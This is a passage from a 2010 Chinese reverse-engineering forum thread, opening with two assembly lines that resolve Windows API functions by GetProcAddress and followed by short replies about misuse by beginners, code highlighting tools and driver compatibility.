  Using_API_GetProcAddress aMessageBoxA,DataBase,sMessageBoxA,hUser32DLL  
  Using_API_GetProcAddress aGetFileSize,DataBase,sGetFileSize,hKernel32DLL
  
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/27/5968811.aspx
2010-10-27 11:26
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
18
bug 不bug无所谓。要利用终究是挡不住的。
2010-10-27 11:51
0
雪    币: 431
活跃值: (259)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
19
至少能防止那些初学汇编的人,随便就能改出病毒,高手怎么防也是没用的
2010-10-27 12:06
0
雪    币: 1708
活跃值: (586)
能力值: ( LV15,RANK:670 )
在线值:
发帖
回帖
粉丝
20
可以用这个帖子的方法给代码着色,效果不错的。

http://bbs.pediy.com/showthread.php?t=122236
2010-10-27 12:13
0
雪    币: 192
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
收藏!!有空学习下,顶顶
2010-10-27 12:48
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
22
之前一直是使用 xTiNt 来高亮代码
2010-10-27 13:14
0
雪    币: 379
活跃值: (40)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
23
前排收藏,谢谢楼主。
2010-10-27 13:34
0
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
如果搞驱动。这里判断的方法,是不是要改进下了?我试了下,有问题,这方法认了驱动好象。
2010-10-27 16:25
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
acc
25
确实是好东西哦
2010-10-28 15:05
0
游客
登录 | 注册 方可回帖
返回
//